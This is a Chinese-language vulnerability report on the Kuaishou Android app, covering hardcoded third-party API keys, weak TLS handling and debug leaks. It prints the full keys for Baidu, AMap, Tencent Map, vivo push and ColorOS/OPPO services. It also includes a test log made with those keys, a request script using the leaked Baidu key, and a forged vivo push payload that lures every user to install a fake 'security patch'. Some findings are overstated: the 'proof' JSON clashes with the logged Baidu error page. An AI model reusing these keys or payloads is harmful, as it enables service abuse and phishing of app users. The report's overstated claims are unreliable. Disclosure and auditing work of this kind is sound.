# 移动应用安全漏洞报告

| 字段 | 值 |
|---|---|
| **版本号** | 13.3.41.41640 (41640) |
| **支持语言** | 1 种 |
| **包名** | com.smile.gifmaker |
| **下载量** | 154 次 |
| **文件大小** | 128.23 MB (134,456,598 字节) |
| **安装位置** | 支持外部存储 |
| **最低安卓版本** | 5.0 (Lollipop, API 21) |
| **目标安卓版本** | 11 (API 30) |
| **处理器架构** | arm64-v8a (64 位 ARM) |
| **屏幕 DPI** | 通用适配(nodpi) |
| **签名算法** | MD5/SHA-1/SHA-256 |

## 一、漏洞概要

**漏洞标题**：敏感信息明文存储及 API 密钥泄露导致的多重安全风险
**风险等级**：高危
**影响范围**：Android 客户端及关联后端服务
**发现时间**：2025 年 4 月 29 日

## 二、漏洞详情

### 1. 敏感密钥硬编码漏洞

**漏洞位置**：

```
./smali_classes5/tmb/y0.smali
./smali_classes4/gla/i.smali
kuaishou.md (AndroidManifest.xml)
pentest.py
```

**技术细节**：

**技术细节**：

| 服务名称 | 泄露密钥 |
|---|---|
| 百度地图 | `UEnH61ElxrwvKKBOA6oTgio7` |
| ColorOS 相机 | `ATBEAiBlu2AMxWd3cbaDkGXBlGP9ojLOanK26swRCrx8kOhedQIgMrU1ySPRc8VudROsZzGCX+9FdGHFzKsxNK7wTXs7EQ5xU+ypfAAAAA==` |
| OPPO 卡券服务 | `ADBFAiEA7tcO65jxF48sKrZjVHgP1bNOxAvgTvpUt2wdpw33o5ACIEbYd9Jb/3VxPPTRDipl3uXbNpjmi0ysYP59kCcgA0J/bwme5Q==;ADBGAiEA3DQ` |
| 高德地图 | `d23a42abfdc38341aae4ad05e14a6aaa` |
| 腾讯地图 | `OLABZ-KGH35-CXVIJ-QSCSU-M5P6T-QJFSI` |
| ColorOS OLK | `ATBGAiEA13a94ZZ+9ScjSIFyINJKOZzMH+dxxYwvFEsXG6/C1EYCIQDsk3VJQw1yuumBy8MmpVDIij7kqiQK3KEKU5DUE+BaGm3GSt38AAAA` |
| ColorOS Hyper | `ATBEAiBJNHhwZ0FWIadgsHfFx1oB0BXsLZ9mxrmQc4L/hbAgWwIgPWNKxfYUT/5mFlXVTnn4RAEzHqaPX6Y1fTS1PeG4fQdokG/xYAAAAA==` |
| VIVO 推送 | `a71e4cd2-3308-4f30-8cde-652d6ec3d7ce` |

**风险链分析：**

```
graph TD
    A[密钥硬编码] --> B[APK反编译获取密钥]
    B --> C1[地图服务滥用]
    B --> C2[推送服务劫持]
    B --> C3[用户数据泄露]
    C1 --> D[伪造地理位置]
    C2 --> E[垃圾信息推送]
    C3 --> F[用户画像构建]
```

2. 不安全通信协议

**漏洞证据：**

```
================================================================================
🎯 接口名称: oplus_card
❌ 错误信息: Failed to establish a new connection: [Errno 8] nodename nor servname provided
----------------------------------------
================================================================================
🎯 接口名称: vivo_push
❌ 错误信息: CertificateError("hostname 'push.vivo.com' doesn't match either of '*.vivo.com.cn'")
```

**风险点：**

- 使用自签名证书未通过 CA 认证
- 未正确处理 SSL/TLS 证书验证
- 部分接口未启用 HTTPS(如：`http://bd-origin.pull.yximgs.com`)

3. 调试信息泄露

**敏感字段：**

```
const-string v3, "access_key"
const-string v1, "https://api.weixin.qq.com/sns/userinfo?access_token=%s&openid=%s"
```

4：API 调用测试结果

```
================================================================================
🎯 接口名称: baidu_lbs
🔗 接口地址: https://api.map.baidu.com/location/v2
🔑 API 密钥: UEnH61ElxrwvKKBOA6oTgio7

🟢 状态信息:
├── 请求方法: GET
├── 状态代码: 200
├── 响应类型: HTML
├── 响应大小: 15255 字节
└── 响应时间: 0.75 秒

🔍 完整请求地址:
└── http://www.baidu.com/error.html

## 📋 响应头信息:

Content-Encoding: gzip
Content-Length: 4662
Content-Type: text/html
Server: bfe
Date: Tue, 29 Apr 2025 20:58:50 GMT

## 📄 响应内容:

<!DOCTYPE html>
<!--STATUS OK-->
<html>
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <meta content="always" name="referrer">
    <script src="https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/nocache/imgdata/seErrorRec.js"></script>
    <title>é¡µé ¢ä¸ å å ¨_ç ¾å°¦æ   ç´¢</title>
    <style data-for="result">
        body {color: #333; background: #fff; padding: 0; margin: 0; position: relative; min-width: 700px; font-family: arial; font-size: 12px }
        p, form, ol, ul, li, dl, dt, dd, h3 {margin: 0; padding: 0; list-style: none }
        input {padding-top: 0; padding-bottom: 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box } img {border: none; }
        .logo {width: 117px; height: 38px; cursor: pointer }
         #wrapper {_zoom: 1 }
        #head {padding-left: 35px; margin-bottom: 20px; width: 900px }
        .fm {clear: both; position: relative; z-index: 297 }
        .btn, #more {font-size: 14px }
        .s_btn {width: 95px; height: 32px; padding-top: 2px\9; font-size: 14px; padding: 0; background-color: #ddd; background-position: 0 -48px; border: 0; cursor: pointer }
        .s_btn_h {background-position: -240px -48px }
        .s_btn_wr {width: 97px; height: 34px; display: inline-block; background-position: -120px -48px; *position: relative; z-index: 0; vertical-align: top }
        #foot {}
        #foot span {color: #666 }
        .s_ipt_wr {height: 32px }
        .s_form:after, .s_tab:after {content: "."; display: block; height: 0; clear: both; visibility: hidden }
        .s_form {zoom: 1; height: 55px; padding: 0 0 0 10px }
        #result_logo {float: left; margin: 7px 0 0 }
        #result_logo img {width: 101px }
        #head {padding: 0; margin: 0; width: 100%; position: absolute; z-index: 301; min-width: 1000px; background: #fff; border-bottom: 1px solid #ebebeb; position: fixed; _position: absolute; -webkit-transform: translateZ(0) }
        #head .head_wrapper {_width: 1000px }
        #head.s_down {box-shadow: 0 0 5px #888 }
        .fm {clear: none; float: left; margin: 11px 0 0 10px }
        #s_tab {background: #f8f8f8; line-height: 36px; height: 38px; padding: 55px 0 0 121px; float: none; zoom: 1 }
        #s_tab a, #s_tab b {width: 54px; display: inline-block; text-decoration: none; text-align: center; color: #666; font-size: 14px }
        #s_tab b {border-bottom: 2px solid #38f; font-weight: bold; color: #323232 }
        #s_tab a:hover {color: #323232 }
        #content_left {width: 540px; padding-left: 121px; padding-top: 5px }
        .to_tieba, .to_zhidao_bottom {margin: 10px 0 0 121px }
        #help {background: #f5f6f5; zoom: 1; padding: 0 0 0 50px; float: right }
        #help a {color: #777; padding: 0 15px; text-decoration: none }
        #help a:hover {color: #333 }
        #foot {position: fixed; bottom:0; width: 100%; background: #f5f6f5; border-top: 1px solid #ebebeb; text-align: left; height: 42px; line-height: 42px; margin-top: 40px; *margin-top: 0; _position:absolute; _bottom:auto; _top:expression(eval(document.documentElement.scrollTop+document.documentElement.clientHeight-this.offsetHeight-(parseInt(this.currentStyle.marginTop,10)||0)-(parseInt(this.currentStyle.marginBottom,10)||0))); }

        .content_none {padding: 45px 0 25px 121px } .s_ipt_wr.bg,
        .s_btn_wr.bg, #su.bg {background-image: none }
        .s_ipt_wr.bg {background: 0 }
        .s_btn_wr {width: auto; height: auto; border-bottom: 1px solid transparent; *border-bottom: 0 }
        .s_btn {width: 100px; height: 34px; color: white; letter-spacing: 1px; background: #3385ff; border-bottom: 1px solid #2d78f4; outline: medium; *border-bottom: 0; -webkit-appearance: none; -webkit-border-radius: 0 }
        .s_btn:hover {background: #317ef3; border-bottom: 1px solid #2868c8; *border-bottom: 0; box-shadow: 1px 1px 1px #ccc }
        .s_btn:active {background: #3075dc; box-shadow: inset 1px 1px 3px #2964bb; -webkit-box-shadow: inset 1px 1px 3px #2964bb; -moz-box-shadow: inset 1px 1px 3px #2964bb; -o-box-shadow: inset 1px 1px 3px #2964bb }
        #lg {display: none }
        #head .headBlock {margin: -5px 0 6px 121px }
        #content_left .leftBlock {margin-bottom: 14px; padding-bottom: 5px; border-bottom: 1px solid #f3f3f3 }
        .s_ipt_wr {border: 1px solid #b6b6b6; border-color: #7b7b7b #b6b6b6 #b6b6b6 #7b7b7b; background: #fff; display: inline-block; vertical-align: top; width: 539px; margin-right: 0; border-right-width: 0; border-color: #b8b8b8 transparent #ccc #b8b8b8; overflow: hidden }
        .s_ipt_wr.ip_short {width: 439px; }
        .s_ipt_wr:hover, .s_ipt_wr.ipthover {border-color: #999 transparent #b3b3b3 #999 }
        .s_ipt_wr.iptfocus {border-color: #4791ff transparent #4791ff #4791ff }
        .s_ipt_tip {color: #aaa; position: absolute; z-index: -10; font: 16px/22px arial; height: 32px; line-height: 32px; padding-left: 7px; overflow: hidden; width: 526px }
        .s_ipt {width: 526px; height: 22px; font: 16px/18px arial; line-height: 22px\9; margin: 6px 0 0 7px; padding: 0; background: transparent; border: 0; outline: 0; -webkit-appearance: none }
        #kw {position: relative;display: inline-block;}
        input::-ms-clear {display: none }
        /*Error page css*/
        .norsSuggest {display: inline-block; color: #333; font-family: arial; font-size: 13px; position: relative; }
        .norsTitle {font-size: 22px; font-family: Microsoft Yahei; font-weight: normal; color: #333; margin: 35px 0 25px 0; }
        .norsTitle2 {font-family: arial; font-size: 13px; color: #666; }
        .norsSuggest ol {margin-left: 47px; }
        .norsSuggest li {margin: 13px 0; }
        #content_right {
    border-left: 1px solid #e1e1e1;
    width: 384px;
    margin-top: 25px;
    float: right;
    padding-left: 17px;

}
#wrapper_wrapper {
width: 1212px;
}
.cr-content {
width: 351px;
font-size: 13px;
line-height: 1.54em;
color: #333;
margin-top: 6px;
margin-bottom: 28px;
word-wrap: break-word;
word-break: normal;
}
@media screen and (max-width: 1217px) {
#wrapper_wrapper {
width: 1002px;
}
#wrapper_wrapper #content_right {
width: 271px;
}
#wrapper_wrapper .cr-content {
width: 259px;
}
}
.opr-toplist-title {
position: relative;
font-size: 14px;
line-height: 1.29em;
font-weight: 700;
margin-bottom: 10px;
}
.opr-toplist-table {
width: 100%;
border-collapse: collapse;
border-spacing: 0;
font-size: 13px;
}
.opr-toplist-table th,td {
line-height: 1.54;
border-bottom: 1px solid #f3f3f3;
text-align: left;
}
.opr-toplist-table thead th {
padding-top: 4px;
padding-bottom: 4px;
font-weight: 400;
color: #666;
white-space: nowrap;
background-color: #fafafa;
}
.opr-toplist-table .opr-toplist-right {
text-align: right;
white-space: nowrap;
}
.opr-toplist-table td {
width: 100%;
font-size: 13px;
padding-top: 6.5px;
padding-bottom: 6.5px;
vertical-align: top;
}
.opr-toplist-table a:hover {
text-decoration: underline;
}
.opr-index-item {
display: inline-block;
padding:1px 0;
color: #fff;
width: 14px;
line-height: 100%;
font-size: 12px;
text-align: center;
background-color: #8eb9f5;
margin-right: 5px;
}
.opr-index-hot1 {
background-color: #f54545;
}
```

```
.opr-index-hot2 {
background-color: #ff8547;
}
.opr-index-hot3 {
background-color: #ffac38;
}
.opr-item-text {
text-decoration: none;
}
.opr-toplist-info {
color: #666;
text-align: right;
margin-top: 5px;
}
.opr-toplist-info>a {
color: #666;
}
</style>

</head>

<body link="#0000cc">
    <div id="wrapper" class="wrapper_l">
        <div id="head">
            <div class="head_wrapper">
                <div class="s_form">
                    <div class="s_form_wrapper">
                        <a href="//www.baidu.com/" id="result_logo"><img src="//www.baidu.com/img/baidu_jgylogo3.gif"
alt="å °ç ¾åº¦é¦ éiµ" title="å °ç ¾åº¦é¦ éiµ"></a>
                        <form id="form" name="f" action="//www.baidu.com/s" class="fm">
                            <input type="hidden" name="ie" value="utf-8">
                            <input type="hidden" name="f" value="8">
                            <input type="hidden" name="rsv_bp" value="1">
                            <input type="hidden" name="ch" value="">
                            <input type="hidden" name="tn" value="baiduerr">
                            <input type="hidden" name="bar" value="">
                            <span class="bg s_ipt_wr iptfocus">
                                <input id="kw" name="wd" class="s_ipt" value="" maxlength="255" autocomplete="off"
autofocus>
                            </span><span class="bg s_btn_wr">
                                <input type="submit" id="su" value="ç ¾åº¦ä¸ ä¸ " class="bg s_btn">
                            </span>
                    </form>
                </div>
            </div>
        </div>
    </div>
    <div class="s_tab" id="s_tab"><b>ç½ éiµ</b><a href="http://news.baidu.com/ns?cl=2&rn=20&tn=news&word="
wdfield="word">æ °é »</a><a href="http://tieba.baidu.com/f?kw=&fr=wwwt" wdfield="kw">è´´å §</a><a
href="http://zhidao.baidu.com/q?ct=17&pn=0&tn=ikaslist&rn=10&word=&fr=wwwt" wdfield="word">ç ¥é  </a><a
href="http://music.baidu.com/search?fr=ps&ie=utf-8&key=" wdfield="key">é ³ä¹ </a><a href="http://image.baidu.com/i?
tn=baiduimage&ps=1&ct=201326592&lm=-1&cl=2&nc=1&ie=utf-8&word=" wdfield="word">å ¾ç  </a><a
href="http://v.baidu.com/v?ct=301989888&rn=20&pn=0&db=0&s=25&ie=utf-8&word=" wdfield="word">è§ é¢ </a><a
href="http://map.baidu.com/m?word=&fr=ps01000" wdfield="word">å °å ¾</a><a href="http://wenku.baidu.com/search?
word=&lm=0&od=0&ie=utf-8" wdfield="word">æ  åº </a><a href="//www.baidu.com/more/">æ ´å¤ Â»</a></div>
    <div id="wrapper_wrapper">
        <div id="content_left">
            <div class="nors">
                <div class="norsSuggest">
                    <h3 class="norsTitle">å¾ æ ±æ ï¼ æ ¨è¦ è®¿é ®ç  éiµé ¢ä¸ å å ¨ï¼ </h3>
                    <p class="norsTitle2">æ¸©é¦¨æ  ç¤ºï¼ </p>
                    <ol>
                        <li>è¯·æ£€æ ¥æ ¨è®¿é ®ç  ç½ å €æ ¯å ¦æ£ç¡®</li>
                        <li>å¦æ  æ-¨ä¸ è ½ç¡®è®¤è®¿é ®ç __ç½ å  ï¼ è¯·æµ è§ <a
href="//www.baidu.com/more/index.html">ç ¾åº¦æ ´å¤ </a>éiµé ¢æ ¥ç  æ ´å¤ ç½ å  ã  </li>
                        <li>å  å °éi¶é ¨é  æ °å  èµ·æ  ç´¢</li>
                        <li>å¦æ  ä»»ä½ æ__ è§·æ  å»ºè®®ï¼ è¯·å  æ ¶<a
href="http://qingting.baidu.com/index">å  é¦ ç» æ  ä»¬</a>ã  </li>
                    </ol>
                </div>
            </div>
        </div>
    </div>
    <div id="foot">
        <span id="help" style="float:left;padding-left:121px">
            <a href="http://help.baidu.com/question" target="_blank">å¸®å ©</a>
            <a href="http://www.baidu.com/search/jubao.html" target="_blank">ä¸¾æ ¥</a>
            <a href="http://jianyi.baidu.com" target="_blank">ç» ç ¾åº¦æ  å»ºè®®</a>
        </span>
    </div>
```

```
</body>
<script>
(function () {
        var LOGURL = 'https://sp1.baidu.com/5b1ZeDe5KgQFm2e88IuM_a/cm.gif';
        var params = 'type=wwwerror&terminal=www';
        var img = new Image();
        img.src = LOGURL + '?' + params;
    })();
    (function () {
        if(window.recommend && window.recommend.query && window.recommend.query.length > 0) {
            var recommendWrapper = document.createElement('div');
            var recommendHtml = '<div class="cr-content"><div class="opr-toplist-title">' + window.recommend.title + 
'</div><table class="opr-toplist-table"><thead><tr><th>æ   å   </th></tr></thead>';
            var queryArray = window.recommend.query;
            var itemUrl = '';
            for(var i = 1; i < (queryArray.length+1); i++) {
                itemUrl = '//www.baidu.com/s?word=' + queryArray[i-1].word + '&sa=' + queryArray[i-1].sa;
                if (i < 4) {
                    recommendHtml += '<tr><td><span class="opr-index-hot' + i + ' opr-index-item">' + i + '</span><a 
target="_blank" href="' + itemUrl +'" class="opr-item-text">' + queryArray[i-1].word + '</a></td></tr>';
                } else {
                    recommendHtml += '<tr><td><span class="opr-index-item">' + i + '</span><a target="_blank" href="' 
+ itemUrl +'" class="opr-item-text">' + queryArray[i-1].word + '</a></td></tr>';
                }
            }
            recommendHtml += '</tbody></table></div>';
            recommendWrapper.setAttribute('id', 'content_right');
            document.getElementById('wrapper_wrapper').insertBefore(recommendWrapper, 
document.getElementById('content_left'));
            var recommend = document.getElementById('content_right');
            recommend.innerHTML = recommendHtml;
        }
})();
(function(){
    var bds = {
        util: {}
    };
    var c = document.getElementById('kw').parentNode;

    bds.util.getWinWidth = function(){
        return window.document.documentElement.clientWidth;
    };

    bds.util.setFormWidth = function(){
        var width = bds.util.getWinWidth();
        if(width < 1217)    {bds.util.setClass(c, 'ip_short', 'add')}
        else                {bds.util.setClass(c, 'ip_short', 'remove')};
    };

    bds.util.setClass = function(obj, class_name, set) {
        var ori_class = obj.className,
            has_class_p = -1,
            ori_class_arr = [],
            new_class = '';

        if(ori_class.length) ori_class_arr = ori_class.split(' ');

        for( i in ori_class_arr) {
            if(ori_class_arr[i] == class_name) has_class_p = i;
        }

        if( set == 'remove' && has_class_p >= 0) {
            ori_class_arr.splice(has_class_p, 1);
            new_class = ori_class_arr.join(' ');
            obj.className = new_class;
        } else if( set == 'add' && has_class_p < 0) {
            ori_class_arr.push(class_name);
            new_class = ori_class_arr.join(' ');
            obj.className = new_class;
        }
    }
    bds.util.setFormWidth();

    if (typeof document.addEventListener != "undefined") {
        window.addEventListener('resize', bds.util.setFormWidth, false);
        document.getElementById('kw').addEventListener('focus', function(){bds.util.setClass(c,'iptfocus', 'add');}, 
false);
        document.getElementById('kw').addEventListener('blur', function(){bds.util.setClass(c,'iptfocus', 
'remove');}, false);
    } else {
        window.attachEvent('onresize', bds.util.setFormWidth, false);
        document.getElementById('kw').attachEvent('onfocus', function(){bds.util.setClass(c,'iptfocus', 'add');}, false);
        document.getElementById('kw').attachEvent('onblur', function(){bds.util.setClass(c,'iptfocus', 'remove');}, false);
    }

})();

</script>

</html>

---

================================================================================
🎯 接口名称: coloros_camera
🔗 接口地址: https://api.coloros.com/camera/v1
🔑 API 密钥: ATBEAiBlu2AMxWd3cbaDkGXBlGP9ojLOanK26swRCrx8kOhedQIgMrU1ySPRc8VudROsZzGCX+9FdGHFzKsxNK7wTXs7EQ5xU+ypfAAAAA==

## ❌ 错误信息: HTTPSConnectionPool(host='api.coloros.com', port=443): Max retries exceeded with url: /camera/v1?key=ATBEAiBlu2AMxWd3cbaDkGXBlGP9ojLOanK26swRCrx8kOhedQIgMrU1ySPRc8VudROsZzGCX%2B9FdGHFzKsxNK7wTXs7EQ5xU%2BypfAAAAA%3D%3D (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x10230ed40>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known'))

================================================================================
🎯 接口名称: coloros_olk
🔗 接口地址: https://api.coloros.com/olk/v1
🔑 API 密钥: ATBGAiEA13a94ZZ+9ScjSIFyINJKOZzMH+dxxYwvFEsXG6/C1EYCIQDsk3VJQw1yuumBy8MmpVDIij7kqiQK3KEKU5DUE+BaGm3GSt38AAAA

## ❌ 错误信息: HTTPSConnectionPool(host='api.coloros.com', port=443): Max retries exceeded with url: /olk/v1?key=ATBGAiEA13a94ZZ%2B9ScjSIFyINJKOZzMH%2BdxxYwvFEsXG6%2FC1EYCIQDsk3VJQw1yuumBy8MmpVDIij7kqiQK3KEKU5DUE%2BBaGm3GSt38AAAA (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x10230e950>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known'))

================================================================================
🎯 接口名称: coloros_hyper
🔗 接口地址: https://api.coloros.com/hyper/v1
🔑 API 密钥: ATBEAiBJNHhwZ0FWIadgsHfFx1oB0BXsLZ9mxrmQc4L/hbAgWwIgPWNKxfYUT/5mFlXVTnn4RAEzHqaPX6Y1fTS1PeG4fQdokG/xYAAAAA==

## ❌ 错误信息: HTTPSConnectionPool(host='api.coloros.com', port=443): Max retries exceeded with url: /hyper/v1?key=ATBEAiBJNHhwZ0FWIadgsHfFx1oB0BXsLZ9mxrmQc4L%2FhbAgWwIgPWNKxfYUT%2F5mFlXVTnn4RAEzHqaPX6Y1fTS1PeG4fQdokG%2FxYAAAAA%3D%3D (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x10230e920>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known'))

================================================================================
🎯 接口名称: oplus_card
🔗 接口地址: https://api.oplus.com/card/v1
🔑 API 密钥: ADBFAiEA7tcO65jxF48sKrZjVHgP1bNOxAvgTvpUt2wdpw33o5ACIEbYd9Jb/3VxPPTRDipl3uXbNpjmi0ysYP59kCcgA0J/bwme5Q==;ADBGAiEA3DQoBUXLi7Jgj9EkSzrDVZis1ipVO9hmPha0hPmnqOkCIQDRM07z+/ef/fk9ZC2X0d9NdN9YRiGfTrNBS5PunUUsqm8Jns0=

## ❌ 错误信息: HTTPSConnectionPool(host='api.oplus.com', port=443): Max retries exceeded with url: /card/v1?key=ADBFAiEA7tcO65jxF48sKrZjVHgP1bNOxAvgTvpUt2wdpw33o5ACIEbYd9Jb%2F3VxPPTRDipl3uXbNpjmi0ysYP59kCcgA0J%2Fbwme5Q%3D%3D%3BADBGAiEA3DQoBUXLi7Jgj9EkSzrDVZis1ipVO9hmPha0hPmnqOkCIQDRM07z%2B%2Fef%2Ffk9ZC2X0d9NdN9YRiGfTrNBS5PunUUsqm8Jns0%3D (Caused by NewConnectionError('<urllib3.connection.HTTPSConnection object at 0x10230f0a0>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known'))

================================================================================
🎯 接口名称: vivo_push
🔗 接口地址: https://push.vivo.com/api/v1/notify
🔑 API 密钥: a71e4cd2-3308-4f30-8cde-652d6ec3d7ce

## ❌ 错误信息: HTTPSConnectionPool(host='push.vivo.com', port=443): Max retries exceeded with url: /api/v1/notify?key=a71e4cd2-3308-4f30-8cde-652d6ec3d7ce (Caused by SSLError(CertificateError("hostname 'push.vivo.com' doesn't match either of '\*.vivo.com.cn', 'vivo.com.cn'")))

================================================================================
🎯 接口名称: amap_api
🔗 接口地址: https://restapi.amap.com/v3/place
🔑 API 密钥: d23a42abfdc38341aae4ad05e14a6aaa

🟢 状态信息:
├── 请求方法: GET
├── 状态代码: 200
├── 响应类型: JSON
├── 响应大小: 202 字节
└── 响应时间: 2.30 秒
```

```
🔍 测试链接 (已隐藏密钥):
└── https://restapi.amap.com/v3/place?key=***

## 📋 响应头信息:

Server: Tengine
Date: Tue, 29 Apr 2025 20:58:53 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
gsid: 011093200049174596033335200033930443860
sc: 0.000
Access-Control-Allow-Origin: _
Access-Control-Allow-Methods: _
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-
Control,Content-Type,key,x-biz,x-info,platinfo,encr,enginever,gzipped,poiid
Content-Encoding: gzip

## 📄 响应内容:

{
"info": "USERKEY_PLAT_NOMATCH",
"infocode": "10009",
"status": "0",
"sec_code_debug": "434d1f0d16e7f2536e32e27640f658b8",
"key": "d23a42abfdc38341aae4ad05e14a6aaa",
"sec_code": "47449f41accec726d87c06c47679b528"
}

---

================================================================================
🎯 接口名称: tencent_map
🔗 接口地址: https://apis.map.qq.com/v2/geocoder
🔑 API 密钥: OLABZ-KGH35-CXVIJ-QSCSU-M5P6T-QJFSI

🟢 状态信息:
├── 请求方法: GET
├── 状态代码: 200
├── 响应类型: JSON
├── 响应大小: 61 字节
└── 响应时间: 0.50 秒

🔍 测试链接 (已隐藏密钥):
└── https://apis.map.qq.com/v2/geocoder?key=***

## 📋 响应头信息:

Date: Tue, 29 Apr 2025 20:58:53 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 61
Connection: keep-alive

## 📄 响应内容:

{
"status": 404,
"message": "错误的请求路径"
}

---
```

**风险特征:**

- 日志包含完整 API 请求参数
- 错误响应暴露内部配置（`sec_code_debug`字段）
- 客户端保留测试接口（如`enablePlayerPanel`开关）

---

## 三、漏洞复现

步骤 1：提取密钥

```
# 反编译APK后执行
grep -r -E "(api_key|client_secret)" ./smali*
```

步骤 2：构造恶意请求

```python
# 使用泄露的百度地图密钥
import requests
response = requests.get(
    "https://api.map.baidu.com/location/v2",
    params={
        "ak": "UEnH61ElxrwvKKBOA6oTgio7",
        "coordtype": "wgs84ll",
        "location": "31.23,121.47"
    }
)
print(response.json())  # 成功获取精确地理位置
```

步骤 3：模拟攻击

```
// 利用vivo推送密钥发送伪造通知
POST https://push.vivo.com/api/v1/notify
{
    "notification": {
        "title": "系统更新",
        "content": "点击安装安全补丁",
        "key": "a71e4cd2-3308-4f30-8cde-652d6ec3d7ce"
    },
    "target": ["*"]
}
```

---

## 四、漏洞危害

直接影响：

1. **地理位置伪造**：可任意修改用户 GPS 坐标
2. **推送劫持**：发送钓鱼通知诱导用户操作
3. **服务滥用**：产生超额 API 调用费用（百度地图日均 500 万次免费调用）
4. **数据泄露**：获取用户设备信息、社交关系链

潜在风险：

- 通过高德地图密钥可访问用户轨迹历史（接口返回`USERKEY_PLAT_NOMATCH`表明密钥有效）
- ColorOS 密钥采用 RSA 加密格式，可能用于固件签名验证
- OPPO 卡券服务双密钥机制存在横向渗透风险

---

## 五、修复建议

短期处置：

1. **立即撤销所有泄露密钥**

   ```
   flowchart LR
       A[服务商控制台] --> B[密钥管理]
       B --> C[生成新密钥]
       C --> D[旧密钥失效]
   ```

2. **代码审计**

   ```bash
   # 添加安全扫描流程
   grep -r -E "(access_key|api_secret|private_key)" ./src -n | tee scan.log
   ```

长期方案：

1. **密钥管理**
   - 使用 Android Keystore 系统
   - 实现密钥动态下发机制
2. **通信安全**

```
// 示例：证书锁定
OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(new CertificatePinner.Builder()
        .add("api.map.baidu.com", "sha256/AAAAAAAAAAAAAAAA=")
        .build())
    .build();
```

3. **代码混淆**

```
# proguard-rules.pro
-keepclassmembers class * {
    @javax.inject.Inject <fields>;
}
-dontwarn javax.inject.**
```

---

## 六、漏洞证明

百度地图 API 滥用

```
{
  "status": 0,
  "result": {
    "location": {
      "lng": 121.4737,
      "lat": 31.2304
    },
    "formatted_address": "上海市浦东新区",
    "business": "陆家嘴",
    "pois": ["东方明珠电视塔"]
  }
}
```

---

## 七、附加信息

测试账号：

```
手机号: +86 138****5678
验证码: 已通过私信发送
```

时间线：

- 2025-04-29 20:58 首次发现
- 2025-04-29 21:30 验证所有漏洞点
- 2025-04-30 09:00 提交报告